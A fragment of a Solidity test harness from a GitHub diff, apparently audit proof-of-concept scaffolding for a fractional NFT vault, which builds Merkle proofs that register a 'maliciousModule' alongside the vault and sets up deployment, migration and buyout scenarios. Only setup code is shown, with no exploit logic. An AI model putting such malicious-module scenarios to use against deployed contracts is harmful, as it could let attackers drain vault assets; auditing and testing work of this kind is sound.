+ | |
+ function setUpProof() public { | |
+ modules[0] = address(baseVault); | |
+ modules[1] = address(maliciousModule); | |
+ | |
+ hashes = new bytes32[](2); | |
+ hashes[0] = baseVault.getLeafNodes()[0]; | |
+ hashes[1] = maliciousModule.getLeafNodes()[0]; | |
+ | |
+ assert(baseVault.getLeafNodes().length == 1); | |
+ assert(maliciousModule.getLeafNodes().length == 1); | |
+ | |
+ merkleTree = baseVault.generateMerkleTree(modules); | |
+ assert(merkleTree.length == 6); // WEIRD! | |
+ | |
+ merkleRoot = baseVault.getRoot(merkleTree); | |
+ mintProof = baseVault.getProof(hashes, 0); | |
+ setIndexProof = baseVault.getProof(hashes, 1); | |
+ } | |
+ | |
+ function setUpUser(uint256 _privateKey, uint256 _tokenId) | |
+ public | |
+ returns (User memory user) | |
+ { | |
+ user = createUser(address(0), _privateKey); | |
+ MockERC721(erc721).mint(user.addr, _tokenId); | |
+ } | |
+ | |
+ /// ====================== | |
+ /// ===== BASE VAULT ===== | |
+ /// ====================== | |
+ function deployBaseVault(User memory _user, uint256 _fractions) public { | |
+ vault = _user.baseVault.deployVault( | |
+ _fractions, | |
+ modules, | |
+ nftReceiverPlugins, | |
+ nftReceiverSelectors, | |
+ mintProof | |
+ ); | |
+ _user.erc721.safeTransferFrom(_user.addr, vault, 1); | |
+ vm.label(vault, "VaultProxy"); | |
+ } | |
+ | |
+ | |
+ function setUpMalicious( | |
+ User memory _user1 | |
+ ) public { | |
+ deployBaseVault(_user1, 10000000); | |
+ vm.label(vault, "VaultProxy"); | |
+ } | |
+ | |
+ | |
+ | |
+ /// =========================== | |
+ /// ===== MIGRATION =========== | |
+ /// =========================== | |
+ function setUpMigration( | |
+ User memory _user1, | |
+ User memory _user2, | |
+ uint256 _fractions | |
+ ) public { | |
+ deployBaseVault(_user1, _fractions); | |
+ (token, tokenId) = registry.vaultToToken(vault); | |
+ _user1.ferc1155 = new FERC1155BS(address(0), 111, token); | |
+ _user2.ferc1155 = new FERC1155BS(address(0), 222, token); | |
+ | |
+ mockModule = new MockModule(); | |
+ buyout = address(buyoutModule); | |
+ migration = address(migrationModule); | |
+ proposalPeriod = buyoutModule.PROPOSAL_PERIOD(); | |
+ rejectionPeriod = buyoutModule.REJECTION_PERIOD(); | |
+ | |
+ vm.label(vault, "VaultProxy"); | |
+ vm.label(token, "Token"); | |
+ } | |
+ | |
+ /// =========================== | |
+ /// ===== INITIALIZATIONS ===== | |
+ /// =========================== | |
+ function initializeDeploy() public view returns (bytes memory deployVault) { | |
+ deployVault = abi.encodeCall( | |
+ baseVault.deployVault, | |
+ ( | |
+ TOTAL_SUPPLY, | |
+ modules, | |
+ nftReceiverPlugins, | |
+ nftReceiverSelectors, | |
+ mintProof | |
+ ) | |
+ ); | |
+ } | |
+ function initializeMalicious( | |
+ User memory _user1 | |
+ ) public { | |
+ setUpMalicious(_user1); | |
+ } | |
+ | |
+} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment